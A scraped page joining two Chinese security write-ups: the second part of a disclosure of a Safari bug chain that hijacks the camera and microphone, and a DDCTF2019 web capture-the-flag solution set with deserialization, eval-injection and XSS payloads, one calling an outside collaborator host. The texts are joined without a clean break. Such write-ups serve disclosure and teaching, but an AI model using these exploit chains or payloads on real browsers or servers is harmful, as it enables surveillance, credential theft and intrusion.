URI当作HTML进行渲染，但是都没有成功（或许有一天能够实现锚标签的[type](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a)属性……）。
在对Safari内部如何解析这类URL进行了仔细地研究后，我决定试一下`window.history`。先创建一个HTML属性的`data:`
URI，然后把`pathname`修改为`//skype.com`，但是不进行真正的页面加载或导航（因此不会更新媒体类型）。
但是很遗憾，RFC编写者已经考虑过这种情况，并且[明确禁止](https://www.w3.org/TR/html52/browsers.html#the-history-interface)使用`history.pushState`或者`history.replaceState`改变[源](https://url.spec.whatwg.org/#concept-url-origin)。注意，该规范引用了源的实际算法定义，而不是经典的协议/主机/端口组合。在这种情况下(`data:`
URI)，使用`history.replaceState`会将源从不透明源(opaque origin)A改为不透明源B，没有任何意义。
history.replaceState('','','data://skype.com')
> SecurityError
### 3.3. about:
现在只剩下最后一个了：`about:`，看起来这个协议是可以工作的，Safari接受了`about://skype.com`（在Chrome里这么做会报错），但是我仍旧无法对文档进行动态填充：
w = open('about://skype.com');
w.document.write('<script>alert(1)</script>');
> SecurityError
Safari似乎只允许`about:blank`和`about:srcdoc`[继承原网站的源](https://books.google.com/books?id=NU3wOk2jzWsC&pg=PA167&lpg=PA167&dq=%22about:blank%22+origin+scheme+inherit&source=bl&ots=fqnDbe20Kf&sig=ACfU3U3sRHu24XTuoXYfpyQngZKksRrVvQ&hl=en&sa=X&ved=2ahUKEwjgkuuv7JfmAhXsJzQIHQXbA3MQ6AEwCXoECAoQAQ#v=onepage&q=%22about%3Ablank%22%20origin%20scheme%20inherit&f=false)。我找到了一个旧的[WebKit漏洞报告](https://bugs.webkit.org/show_bug.cgi?id=199933)，其中提到利用该漏洞可以放宽此限制，但是他们并没有进行实验。所以现在`about://skype.com`只有一个唯一的不透明源，就和`data:`一样，这也就意味着我们同样无法使用`history.pushState`修改源。
## 四、拯救者file:
我考虑的下一个协议是`file:`，看起来这个协议中不包含有意义的主机名，对吗？但是在我深入阅读RFC文档时，我发现了[一个`file:`
URI的奇怪格式](https://tools.ietf.org/html/rfc8089#appendix-E.3.1)，这个格式可以包含主机名。此类型的URI指定了一个远程服务器，类似FTP协议，但是规范中并没有定义对存储在远程服务器上的文件的检索机制。进一步的搜索后，我没找到任何支持这类URI的用户代理。
file://host.example.com/Share/path/to/file.txt
出于好奇，我测试了一下Safari内部是如何解析正常的`file:` URI的。
和预期一样，`hostname`是空的，我决定使用Javascript指定一个主机名，看看会发生什么。
Safari竟然接受了这个URI并且重新加载了该内容，我竟然用一个很简单的技巧就修改了`document.domain`。这是第三个漏洞，CVE-2020-3885。
果然，Safari认为我们现在在浏览`skype.com`，所以我可以在这里加载一些有害的Javascript脚本。如果你打开我的本地HTML文件，摄像头、麦克风、屏幕共享都会被劫持。除此之外，还有一个额外收获，Safari似乎也使用这种主机名解析方式实现密码的自动填充功能，所以如果你使用了此功能，我就可以窃取到你的密码了。
<!-- file://exploit.html -->
<script>
if (location.host != 'google.com'){
location.host = 'google.com';
}
else {
alert(document.domain);
}
</script>
所以说攻击完成了吗？并没有。到目前为止，攻击仍需要受害者打开一个本地HTML文件，此外，这样的攻击方式在iOS上也不起作用，因为通过Mobile
Safari下载的文件会以预览模式显示在一个嵌入式的视图中，该视图不存在Javascript引擎。所以我们还需要进一步研究。
## 五、一个意外发现的漏洞：auto-downloads
为了让上面的`file:`攻击更具有可行性，我想要让Safari从我们的网站自动下载有害的HTML文件（当然，下载文件只是成功的一半，受害者仍旧需要打开它）。
我记得之前在[Broken Browser](https://www.brokenbrowser.com/referer-spoofing-patch-bypass/)上看到过一个Edge上的referer头部欺骗漏洞，事实证明，可以用类似的技术绕过Safari对auto-download的限制，只需要在弹出窗口中打开一个受信任的网站，然后用该弹出窗口打开下载链接。这是第四个和第五个漏洞，CVE-2020-9784以及CVE-2020-3887。
open('https://dropbox.com','foo');
setTimeout(function(){open('/file.exe','foo');},1000)
我用BugPoC的[BugPoC Mock
Endpoint](https://bugpoc.com/testers/other)功能创建了一个URL，该URL带有Content-Disposition响应头并包含了一个用于演示的文本文件。BugPoC演示地址：[bugpoc.com/poc#bp-t9C660OJ](https://bugpoc.com/poc#bp-t9C660OJ)，密码calmOkapi20，注意该演示只在Safari
13.0.4下有效。
下面让我们继续进行摄像头的攻击。
## 六、一个奇怪的协议 blob:
封装伪协议[`blob:`](https://developer.mozilla.org/en-US/docs/Web/API/Blob)是一个很有意思的工具，有了这个协议，你可以使用随机标识符直接访问隐藏在浏览器内存中的文件，这样你就可以很轻松地引用动态创建的文件了。虽然这种类型的URI通常用于图像和视频，但是它允许你自己指定媒体类型，Safari甚至会尽其所能的渲染所有内容，所以你可以创建一个HTML文档，并在新标签页中打开它。
blob = new Blob(['<h1>hello, world!</h1>'], {type: 'text/html'});
url = URL.createObjectURL(blob);
open(url,'_blank');
`blob:`[规范](https://www.w3.org/TR/FileAPI/#url)中规定了用于生成这类URI的算法，浏览器必须使用此算法生成此类URI。
blob: [origin of creating document] / [random UUID]
该算法中仍有一些细节值得研究，注意源被[序列化](https://html.spec.whatwg.org/multipage/origin.html#ascii-serialisation-of-an-origin)为了一个字符串，但是如果构成blob
URI的源并没有有意义的序列化结果呢？就像是[有效域](https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain)(effective
domain)为空的文档，它的源是不透明的，而[不透明源](https://html.spec.whatwg.org/multipage/origin.html#concept-origin-opaque)（还记得我们上面提到的`data:text/html,foo`或是`about://foo`的源吗？）的序列化结果是字符串”null“，并且这个序列化结果无法还原。这就意味着，即使序列化后的字符串都是”null“，在Safari内部，它会认为`data:text/html,foo`和`data:text/html,bar`具有不同的不透明源。规范中规定，这种情况下由浏览器自行处理：
> 如果序列化结果为”null“，将其设置为浏览器定义的值。
那么就让我们看一下Safari是如何处理这种情况的，可以用`data:`
URI获得一个不透明源：`data:text/html,foobar`，然后创建一个`blob:` URI。
从控制台的输出结果可以看出，`blob:`
URI中序列化后的源是”null“，因为这样的序列化是无法还原的，我想知道Safari是怎么知道应该允许哪个不透明源打开该URI的。
经过一些实验后，我确定Safari在这里强制使用了同源策略，所以就必须使用随机UUID值找到真正创建了该URI的源。我们可以在创建该URI的文档中使用Javascript打开该`blob:`
URI，而且这个新打开的文档会按照RFC编写者的要求，继承父文档的不透明源，但是在另一个不透明源中打开该URI，则会报错。
之后我注意到了一个奇怪的现象……在Safari地址栏中手动输入这个URL，返回的源是`://`。
Safari认为在这种情况下应该返回”空的(blank)“源，但是这并不是创建此文档的不透明源，事实上，根据[源序列化标准](https://html.spec.whatwg.org/multipage/origin.html#ascii-serialisation-of-an-origin)，这根本不是一个不透明源，而是空白协议、空白主机、空白端口在算法上的运行结果，这是第六个漏洞，CVE-2020-3864。在本文的剩余内容中，我会把这种奇怪的源叫做”空白“源。经过更多的实验，我发现源为null的`blob:`
URI会继承任何打开文档的源！当然，Safari会先检查打开文档是否有权限打开该URL（同源策略）。但是如果打开文档不是一个普通文档时，事情就变得复杂了。可以查看BugPoC上的演示文件：[bugpoc.com/poc#bp-wkIedjRe](https://bugpoc.com/poc#bp-wkIedjRe)，密码是laidFrog49，注意该演示只在Safari
13.0.4下有效。
从书签访问该URI会导致一些十分奇怪的行为：
从上图中可以发现，Safari想要把这个源为null的`blob:`
URI的源设置为`https://example.com`，但是失败了，因为在该内存位置并没有存储任何文档（所以出现的错误类型是WebKitBlobResource）。
但是如果打开文档是”空白”源`://`，Safari就可以找到该文档。所以说”空白“源是一种很奇怪的源，在某些情境下它等于null，但是又不是不透明源。只要在地址栏手动输入源为null的`blob:`
URI就可以到达”空白“源。
现在需要找到一种方法，用代码到达”空白“源页面，也就是说要模拟手动输入地址栏的行为。Javascript中有一个API
[`location.replace`](https://developer.mozilla.org/en-US/docs/Web/API/Location/replace)可以实现该目的，`location.replace`会替换当前资源，就好像我们最初访问的就是这个URL一样。但是有一点要注意，Safari会检查你是否有权限查看这个URL，因此location的替换以及URL的创建应该发生在同一文档中。
// 不透明源中：
blob = new Blob(['<h1>hello, world!</h1>'], {type: 'text/html'});
url = URL.createObjectURL(blob);
location.replace(url);
现在我们成功地将一个具有不透明源的`data:` URI变成了一个具有”空白“源的`blob:` URI。接下来要做什么呢？
## 七、重返History
在3.2小结中我们想要用[`window.history`](https://developer.mozilla.org/en-US/docs/Web/API/Window/history)修改`data:`
URI，但是没有成功，因为改变`pathname`会同时改变不透明源（history规范中明确禁止该行为）。
回顾一下我们目前的状况：
现在试一下下面的代码：
history.pushState('','','blob://skype.com');
> SecurityError
没有成功，看起来Safari识别出上面的`pushState`会发送一个新的源。但是我很快发现一个奇怪的现象，下面的`pushState`是可以通过的：
history.pushState('','','blob://');
history.pushState('','','skype.com');
location.href
> blob://skype.com
所以说到底发生了什么？为什么使用一行代码失败了，但是把代码分成两行就成功了？你可以在[这里](https://url.spec.whatwg.org/#concept-url-origin)查看如何确定`blob:`
URI的源，我的猜测是，Safari可以成功识别`blob://skype.com`的源是一个新的不透明源（规范中的第三步），但是出于某些原因，Safari认为`blob://`的源是”空白“源`://`（规范中的第二步）。此漏洞已经作为第六个漏洞CVE-2020-3864的一部分被修复。
因为现在的源也是`://`，所以允许`pushState`的执行，而下一个`pushState`只更改了`pathname`，所以Safari认为这步操作没有问题，这样`location.href`就被修改为了`blob://skype.com`。查看Safari的偏好设置，会发现当前打开网站已经变成了`skype.com`，所以攻击完成了吗？
还不算完成。尽管Safari已经将文档识别为`skype.com`，而且我们已经可以在该文档上执行Javascript了，但是它仍旧不处于”安全上下文“中，因此我们仍旧[无法使用类似`mediaDevices`这样的API](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)。
所以……
到目前为止，我们已经可以实现自动下载，自动弹出窗口以及自动填充密码了，但是仍旧没能控制摄像头，下面我们继续实验。
## 八、不需要TLS的安全上下文
我们先看一下”[安全上下文](https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts)“是什么意思：
>
> 安全上下文指一个窗口或是工作器，我们有足够的理由相信其中的内容得到了安全的传输（通过HTTPS/TLS），并且与非安全上下文的通信也受到了限制。许多Web
> API和功能只能在安全上下文中访问。安全上下文的主要目标是为了防止中间人攻击访问功能强大的API，从而彻底攻破受害者的防御。
对于WebRTC来说，这确实是一个合理的要求。如果WiFi上的任何人都可以访问你的网络摄像头，那也太可怕了（假设你在访问信任的HTTP网站）。现在我们需要找到一个新的漏洞来绕过这项要求。
在深入研究”安全上下文“[规范](https://w3c.github.io/webappsec-secure-contexts/)后，我发现了一个问题——安全上下文允许浏览器信任`file:` URL，因为这样“方便开发人员在公开部署之前构建应用程序”。
我想知道Safari如何实现这个例外情况，所以我开始搜索究竟是什么让`file:`
URL如此特殊。围绕该协议的同源策略规则已经引起的[激烈的争论](https://books.google.com/books?id=NU3wOk2jzWsC&pg=PA160)，而且这类URL的源是[由浏览器决定](https://developer.mozilla.org/en-US/docs/Web/API/URL/origin)的，Safari为[每个文件提供了不同的不透明源](https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/0w5mxLMkrNM)。经过实验，我发现Safari认为 **所有**
具有不透明源的文件都具有安全上下文（这是第七个漏洞，CVE-2020-3865）。这是个很大的问题，因为HTTP站点可以很容易就创建一个具有不透明源的文档，例如使用[具有sandbox属性的iframe标签](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)：
<iframe src="/" sandbox></iframe>
唯一的问题就是，规范中规定，“要使网页具有安全上下文，必须确保安全传输该页面及其 **父页面和创建页面链**
中的所有页面“。这就意味着嵌入HTTP网站中的具有不透明源的文档总是被认为是不安全的。
幸运的是，Safari好像忽略了规范中关于”创建页面链“的部分，而只检查了父页面的安全性，这样我们只需从沙箱化的iframe中打开一个弹窗，即可创建一个具有安全上下文的窗口。
<iframe srcdoc="<script>open('/')</script>" sandbox="allow-scripts allow-popups"></iframe>
_注：对于中间人攻击者来说，还有一种更简单的方法让HTTP网站具有不透明源，只需要在响应的CSP中加入[sandbox选项](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox)即可。_
但是这项技术对于我们上面创建的`blob:skype.com`页面有什么帮助呢？事实上，没什么帮助。这个URL是伪造的，无法通过网络进行传输，它只是我们使用`history.pushState`和”空白“源创造的一个弗兰肯斯坦式怪兽。从沙箱化iframe中弹窗的技巧并不适用于这个怪兽，因为在执行`window.open('/')`后，Safari会试图加载`blob://skype.com`，但我们都知道，这个页面并不存在。
所以我们要使用其他方法打开弹窗，该弹窗1）URI为`blob://skype.com`，2）具有不透明源，3）可以执行任意Javascript，而且该方法不会让Safari真正加载任何内容。
我记得在阅读[Broken Browser](http://www.brokenbrowser.com/sop-bypass-abusing-read-protocol/)时，其中提到，如果在会[继承源](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)(inherited
origin)的文档中执行`document.write()`，Edge会不知道如何处理。我在Safari中试验了这一技巧。
事实证明，在Safari中，如果文档在其继承源的文档中执行了`document.write()`的话，该文档的`location.href`会发生扩散。
这样的话就实现了我们上面对弹窗的第一点和第三点要求：URI为`blob://skype.com`以及任意Javascript执行。现在我们只需要让弹窗具有不透明源。
回顾一下我们目前的状况：
问题在于，只有当弹窗具有相同源(同源策略)时才可以执行`document.write()`，所以我们需要找到一种方法，在执行完`document.write()`后，再将源设置为null。
我的计划是这样的：从具有”空白“源的`blob://skype.com`开始，创建一个包含`about:blank`的常规iframe，之后执行`document.write()`，使得该iframe的`href`变为`blob://skype.com`，然后将sandbox属性
**动态**
加到iframe上，最后使用上面提到的沙箱化iframe弹窗技巧，如果过程正确，`href`的`blob://skype.com`值应该会从父页面传递到iframe，再传递到弹窗中。
但是这个计划还有一个问题，iframe[规范](https://html.spec.whatwg.org/multipage/iframe-embed-object.html)中说，只有在iframe中的页面重新导航后，动态添加的sandbox属性才会生效。
这个问题很难处理，因为我们的URL是伪造的，任何的框架导航操作都会让Safari重新抓取并加载资源，即使像是`location.reload()`这样的操作都会让Safari意识到当前页面的URL是伪造的，并返回错误信息。
所以我们需要想到一种方法，在不用Safari改变URL或网页内容的情况下，强制框架进行导航。
然后我想到了一种情况，如果导航因为某些不可控的原因失败了呢？如果Safari确实尝试进行了抓取和加载，但就是无法完成呢？我们是不是可以将iframe导航到一个真实的URL上，但是在响应中包含[`X-Frame-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)头，使导航失败。
document.getElementById('theiframe').contentWindow.location = 'https://google.com';
> Refused to display 'https://www.google.com/' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN'.
果然，这样也算是一次真实的框架导航。动态添加的sandbox属性生效了，但是iframe的URL和内容都没有变化。
document.getElementById('theiframe').contentDocument
> Sandbox access violation: Blocked a frame at "://" from accessing a frame at "null".
现在我们有了一个沙箱化的iframe，其`href`值为`blob://skype.com`，且可以执行任意Javascript，现在只剩下最后一步，用`window.open()`弹出一个窗口。BugPoC上的演示文件：[bugpoc.com/poc#bp-2ONzjAW6](https://bugpoc.com/poc#bp-2ONzjAW6)，密码是blatantAnt90，注意该演示只在Safari
13.0.4下有效。
_注：可以在这里使用[BugPoC Mock
Endpoint](https://bugpoc.com/testers/other)功能，模拟`X-Frame-Options`端点的功能。_
## 九、技术总结及演示
至此，漏洞挖掘结束，我们从一个普通的HTTP网站开始，最终拥有了一个在安全上下文中的blob URI。下面对攻击发生过程进行一个总结：
1. 打开有害的 **HTTP网站** ；
2. **HTTP网站** 变成一个`data:` URI;
3. 使用”空白“源将`data:` URI变成`blob:` URI；
4. 修改`window.history`（分两个步骤）；
5. 创建一个包含`about:blank`的iframe，向其中执行`document.write`;
6. 为iframe动态添加sandbox标签；
7. 使用`X-Frame-Options`进行一次失败的框架导航；
8. 在iframe中执行`window.open`，打开一个弹窗，向其中执行`document.write`。
9. 结束
我们可以在第8步的弹窗中使用[`mediaDevices`](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices) Web
API访问（前/后）摄像头、麦克风、屏幕共享（仅限于macOS）等资源。下面是最终的流程图：
下面是在现实中执行该攻击的录屏：
BugPoC上的演示文件：[bugpoc.com/poc#bp-HHAQuUYC](https://bugpoc.com/poc#bp-HHAQuUYC)，密码是blahWrasse59，注意该演示只在Safari 13.0.4下有效。 | 社区文章 |
# DDCTF2019官方Write Up——Web篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01：滴~
题目链接：http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
首页是是一张图片
结合jpg参数怀疑存在文件包含漏洞，其加密方法是先ascii hex再经过两次base64
知道加密方法后可以读index.php文件
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
网上搜代码可以发现这和之前[某春秋的题目](https://blog.csdn.net/qq_30435981/article/details/81268542)非常类似，diff一下出题点应该在https://blog.csdn.net/FengBanLiuYun/article/details/80616607
根据提示的日期Date: July 4,2018可以找到对应的博文
这里卡了好久各种试已知路径的swp文件，最后发现访问http://117.51.150.26/practice.txt.swp有反应，提示了flag文件位置。
因为index.php中把解码后的文件名用以下正则做了过滤，不允许有了除了.之外的特殊符号而flag文件中含有!所以无法直接阅读文件内容。
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
不过这段在进行正则过滤后又进行了二次过滤代码如下，恰巧又是用!，所以可以用文件名flagconfigddctf.php绕过
$file = str_replace("config","!", $file);
接着读flag!ddctf.php
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
extract($_GET);这里有一个明显的变量覆盖漏洞，把k覆盖成vps地址，uid参数与vps地址内容保持相同即可，如图
## 0x02：WEB 签到题
题目链接：http://117.51.158.44/index.php
直接登陆会提示权限不够
抓包分析可以看到有个明显的header头didictf_username
把它改成admin即可正常访问
访问可以拿到两个php文件源码
url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉，您没有登陆权限，请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
主要的逻辑点在session_read和session_create上，session_create会对一个数组的类型的数据进行序列化并签名，session_read会根据签名验证序列化的数据是否被篡改，如果没有被篡改那么就进行反序列化。显然这是一道考察反序列化知识点的题目，可利用的魔术方法是Application.php中的__destruct，这个类对应的对象在析构的时候会去文件内容并返回。
唯一需要解决的问题是如何拿到eancrykey,代码中和key操作相关的是session_read这一段
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
这里把eancrykey也带入了循环，所以只要nickname中有%s即可读出，具体操作如下
有了eancrykey就可以随便签名了，下面是最终payload
<?php
include 'Application.php';
$eancrykey = "EzblrbNS";
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$poc = new Application();
$poc->path = "..././config/flag.txt";
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
'flag' => $poc,
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);
echo "-----------------------------------------------\n";
var_dump($cookiedata);
## 0x03：Upload-IMG
题目链接：http://117.51.148.166/upload.php 上传图片再去访问图片可以发现文件头有php
gd的字样，结合题意（处理后的图片中要有phpinfo字样）猜测考的是PHP GD库二次渲染绕过，网上已经有很多相关文章。
工具在https://wiki.ioin.in/soft/detail/1q可以下载 经验就是 1、图片找的稍微大一点 成功率更高
2、shell语句越短成功率越高 3、一张图片不行就换一张 不要死磕 4、可以把gd处理的图片再用工具跑一遍再传 5、看脸
搞了几个小时之后出flag了。。。
## 0x04：homebrew event loop
题目链接：http://116.85.48.107:5002/d5af31f88147e857/
题目源码
Download this .py file
Go back to index.html
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f88147e857'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
通读一遍代码之后可以发现这个题的代码逻辑和常规的flask开发不太一样
* 路由和功能的绑定 通常flask代码是用@app.route(‘/path’)装饰一个方法的形式来做路由，但是这段代码按照第一个;和第一个#分割路由和传入功能的参数，并且在eval那点的字符串可控
* * 路由的异步性 要进行的操作都会放在一个队列里面，先进队列的先执行。
* * 后续的购买操作同样是这样，买东西的时候并不会立刻check是否点数合乎要求，而是先把num_items加上在被check路由放进队列。
代码注入意味着我可以劫持程序运行的流程，结合路由的特性我可以直接注入我想要几个的操作一及其参数一次性加入到路由队列中（buy_handler+get_flag），又因为路由的异步性check路由在我get_flag路由之后，这样就可以在check金钱是否合理之前拿到flag。程序会把flag放在session中而根据flask客户端session的特性即可读出flag
* * * 最终payload如下
action:trigger_event#;action:buy;10#action:get_flag;#a:show_flag;1
python decodeflask.py .eJxtzlFrwjAUBeC_MvLsQ9oiXQo-KDMFIYZtmUkzxmiMk8YkltXaLeJ_X_FBcPbtwjl895yA3W9B9n4CDwpkoOBLWHLUUv_yW3LtpVh8SSGt8s-Gxtjo3B6VqSstdilhU3PtO201Rk7l2NNuMgHn0R3pFtGGNT9keonv0v_Ax1WQftUWoTYqHgfNIyuS2bHkY0jDvBuQvKylWKd9YyfF9iLdQqHMUSJi2RR8nZKkgGT1GLRZtv2AhjzNOhFjKvsxbI7Za4QMg-hb5W9DsweeAd-6z-qwcQ3I4AjU-8of-jM5_wEps3QC.D5IA3A.NigoaBZy6wUzszTAv0mYX2jqdu4
{u'points': 3, u'num_items': 0, u'log': ['action:trigger_event#;action:buy;10#action:get_flag;', ['action:buy;10', 'action:get_flag;'], ['func:consume_point;10', 'action:view;index'], 'func:show_flag;3v41_3v3nt_l00p_aNd_fLASK_cOOkle', 'action:view;index']}
## 0x05：欢迎报名DDCTF
题目链接：http://117.51.147.2/Ze02pQYLf5gGNyMn/ 之前一直各种测sql注入没反应，后来祭出了万能poc，发现是xss
App"/><img src="http://6lsz939vedevmdegkun2wnzb52bszh.burpcollaborator.net/">
'${9*9}[!--+*)(&
用在线xss平台可以打到后台网页源码，页面源码中泄漏了一个接口。
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1
